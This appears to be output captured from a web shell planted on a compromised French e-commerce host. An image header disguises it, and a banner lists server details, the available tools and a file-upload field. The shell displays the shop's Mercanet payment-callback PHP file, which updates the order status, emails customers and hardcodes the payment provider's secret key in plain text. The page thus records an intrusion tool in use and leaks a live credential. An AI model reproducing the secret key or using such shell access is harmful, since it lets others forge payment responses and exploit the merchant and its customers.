ÿØÿà JFIF ` ` ÿþxØ
| Server IP : 109.234.164.53 / Your IP : 216.73.216.110 Web Server : Apache System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64 User : computer3 ( 1098) PHP Version : 7.1.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/computer3/litsolide.com/MERCANET/ |
Upload File : |
<?php
require_once('Mercanet.php');
// Initialisation de la classe Mercanet avec passage en parametre de la cle secrete
$paymentResponse = new Mercanet('wWKYUQ6YSA-yLUrTlSokEE8xoC6OkQNhRPI8Mo8-e1c');
$paymentResponse->setResponse($_POST);
if($paymentResponse->isValid() && $paymentResponse->isSuccessful())
{
// --------------------------------------------------------------------------------------
// --------------------------------------------------------------------------------------
// --------------------------------------------------------------------------------------
// --------------------------------------------------------------------------------------
/* Retrouve la reference voir page Mercanet fonction et enleve les 0 inutiles avec += */
/**************************************************************************************/
$id_cde += $paymentResponse->laReff();
// Traitement pour les paiements valides
//echo "paiement reussi " . print_r($_POST, true);
// ...
/**************************************************************/
include_once("../includes/config.php");
// Mise A jour du status de la commande
$status_cde = "1";
$sql = $bdd->prepare('INSERT INTO order_status(id_order, date_status, status)
VALUES (:order, :date_status, :status)');
$sql->execute(array('order' => $id_cde,
'date_status' => date('Y-m-d H:i:s'),
'status' => $status_cde));
//****************************************************************************************//
//************************************ css et infos ************************************//
//****************************************************************************************//
$thema = $GLOBALS['bdd']->query('SELECT * FROM info WHERE id = 1');
$resulta = $thema->fetchAll();
$fil = $resulta[0]['fil'] ;
$tfil = $resulta[0]['tfil'] ;
$shop_email_rappel = $resulta[0]['email_rappel'];
$shop_title = $resulta[0]['title'];
$sql = $bdd->query('SELECT title, url, email_contact FROM info
WHERE id = 1');
$infos = $sql->fetch();
$sql = $bdd->prepare('SELECT id, date_insere, id_order, email FROM orders
WHERE id = :order');
$sql->execute(array('order' => $id_cde));
$order = $sql->fetch();
$sql = $GLOBALS['bdd']->query("SELECT Image_Logo FROM themes WHERE cle >0");
$list= $sql->fetchAll();
for($i=0; $i<count($list); $i++) {
$Image_Logo = $list[$i]['Image_Logo'];
}
//****************************************************************************************//
//************************************ email client ************************************//
//****************************************************************************************//
$msg ='
<html lang="fr">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
</head>
<body>';
$msg .='<img src="'.$wwwroot.'templates/shop/img/'.$Image_Logo.'" style="margin:10px; max-width:300px">';
$msg .='
<div style="background-color: '.$fil.'; color:'.$tfil.'; border-radius: 6px;">
<h3 style="font-size:20px; padding:10px;">Suivi de votre commande</h3>
</div>
<br />';
$msg .= 'Votre commmande du ' . strftime("%d/%m/%Y", strtotime($order['date_insere'])) . ' (Commande No ' . $id_cde . ') a été mise à jour le ' . strftime("%d/%m/%Y à %Hh%M", time()) . '. <br /><br />Son nouveau statut est déormais : <b>Commande réglée</b>';
$msg .= '.<br />Vous pouvez suivre votre commande en cliquant ici : <a href="'.$wwwroot.'suivi-de-commande-' . $order['id_order'] . '">Suivi de ma commande</a>';
$msg .= '<br /><br /><b>'.$infos['title'].'</b> vous remercie de votre confiance.<br /><br /><br /><br />';
// Envoi message au client.
require('../includes/phpmailer/class.phpmailer.php');
$mail = new PHPMailer();
$mail->IsMail();
$mail->AddReplyTo($shop_email_rappel, $shop_title);
$mail->AddAddress($order['email']);
$mail->SetFrom($shop_email_rappel, $shop_title);
$mail->Subject = "Suivi de votre commande depuis le site " . $shop_title;
$mail->MsgHTML($msg);
$mail->Send();
//////////////////////////////////////////////////
echo '
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Paiement accepté</title>
<link href="../templates/shop/css/global_end_3colonnes.css" rel="stylesheet" type="text/css"/>
</head>
<body>
<div id="container">
<div style="text-align:center" >
<img class="" src="'.$wwwroot.'templates/shop/img/'.$Image_Logo.'" alt="Logo"/>
</div>
<div>';
?>
<br />
<h1 align="center"><font color="#FF0000" size="5" face="Arial">Commande N.<?php echo$id_cde ?> payée !</span></font></h1>
<center><b><h2>Votre transaction est acceptée par votre banque !</h2>
<p style="font-size: 18px">Un e-mail vous a été envoyé !
</p>
<br />
<br />
<div class="btnn" style="text-align:center;">
<a style="text-decoration: none;font-size:18px" href="../index.php">Retour à la boutique</a>
</div>
<br />
<br />
<?php
// --------------------------------------------------------------------------------------
echo '</div>
</div>
</body>
</html>
';
// --------------------------------------------------------------------------------------
// --------------------------------------------------------------------------------------
// --------------------------------------------------------------------------------------
// --------------------------------------------------------------------------------------
}
else
{
// --------------------------------------------------------------------------------------
// --------------------------------------------------------------------------------------
// --------------------------------------------------------------------------------------
// --------------------------------------------------------------------------------------
/* Retrouve la reference voir page Mercanet fonction et enleve les 0 inutiles avec += */
/**************************************************************************************/
$id_cde += $paymentResponse->laReff();
// Traitement pour les paiements en echec
//echo "paiement en echec " . print_r($_POST, true);
// ...
/**************************************************************/
include_once("../includes/config.php");
// Mise A jour du status de la commande
$status_cde = "0";
$sql = $bdd->prepare('INSERT INTO order_status(id_order, date_status, status)
VALUES (:order, :date_status, :status)');
$sql->execute(array('order' => $id_cde,
'date_status' => date('Y-m-d H:i:s'),
'status' => $status_cde));
//****************************************************************************************//
//************************************ css et infos ************************************//
//****************************************************************************************//
$thema = $GLOBALS['bdd']->query('SELECT * FROM info WHERE id = 1');
$resulta = $thema->fetchAll();
$fil = $resulta[0]['fil'] ;
$tfil = $resulta[0]['tfil'] ;
$shop_email_rappel = $resulta[0]['email_rappel'];
$shop_title = $resulta[0]['title'];
$sql = $bdd->query('SELECT title, url, email_contact FROM info
WHERE id = 1');
$infos = $sql->fetch();
$sql = $bdd->prepare('SELECT id, date_insere, id_order, email FROM orders
WHERE id = :order');
$sql->execute(array('order' => $id_cde));
$order = $sql->fetch();
$sql = $GLOBALS['bdd']->query("SELECT Image_Logo FROM themes WHERE cle >0");
$list= $sql->fetchAll();
for($i=0; $i<count($list); $i++) {
$Image_Logo = $list[$i]['Image_Logo'];
}
//****************************************************************************************//
//************************************ email client ************************************//
//****************************************************************************************//
$msg ='
<html lang="fr">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
</head>
<body>';
$msg .='<img src="'.$wwwroot.'templates/shop/img/'.$Image_Logo.'" style="margin:10px; max-width:300px">';
$msg .='
<div style="background-color: '.$fil.'; color:'.$tfil.'; border-radius: 6px;">
<h3 style="font-size:20px; padding:10px;">Suivi de votre commande</h3>
</div>
<br />';
$msg .= 'Votre commmande du ' . strftime("%d/%m/%Y", strtotime($order['date_insere'])) . ' (Commande No ' . $id_cde . ') a été mise à jour le ' . strftime("%d/%m/%Y à %Hh%M", time()) . '. <br /><br />Son nouveau statut est déormais : <b>En attente de paiement</b>';
$msg .= '.<br />Vous pouvez suivre votre commande en cliquant ici : <a href="'.$wwwroot.'suivi-de-commande-' . $order['id_order'] . '">Suivi de ma commande</a>';
$msg .= '<br /><br /><b>Pour payer votre commande, vous devez contacter notre Administrateur.</b>';
$msg .= '<br /><br /><b>'.$infos['title'].'</b> vous remercie de votre confiance.<br /><br /><br /><br />';
// Envoi message au client.
require('../includes/phpmailer/class.phpmailer.php');
$mail = new PHPMailer();
$mail->IsMail();
$mail->AddReplyTo($shop_email_rappel, $shop_title);
$mail->AddAddress($order['email']);
$mail->SetFrom($shop_email_rappel, $shop_title);
$mail->Subject = "Suivi de votre commande depuis le site " . $shop_title;
$mail->MsgHTML($msg);
$mail->Send();
//////////////////////////////////////////////////
echo '
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Annulation paiement</title>
<link href="../templates/shop/css/global_end_3colonnes.css" rel="stylesheet" type="text/css"/>
</head>
<body>
<div id="container">
<div style="text-align:center" >
<img class="" src="'.$wwwroot.'templates/shop/img/'.$Image_Logo.'" alt="Logo"/>
</div>
<div>';
?>
<br />
<h1 align="center"><font color="#FF0000" size="5" face="Arial">Commande N.<?php echo$id_cde ?> en attente de paiement !</span></font></h1>
<center><b><h2>Votre transaction a été refusée ou interrompue !</h2>
<p style="font-size: 18px">Un e-mail vous a été envoyé !
<br />Pour payer votre commande vous devez contacter notre Administrateur.
</p>
<br />
<br />
<div class="btnn" style="text-align:center;">
<a style="text-decoration: none;font-size:18px" href="../index.php">Retour à la boutique</a>
</div>
<br />
<br />
<?php
// --------------------------------------------------------------------------------------
echo '</div>
</div>
</body>
</html>
';
// --------------------------------------------------------------------------------------
// --------------------------------------------------------------------------------------
// --------------------------------------------------------------------------------------
// --------------------------------------------------------------------------------------
}
?>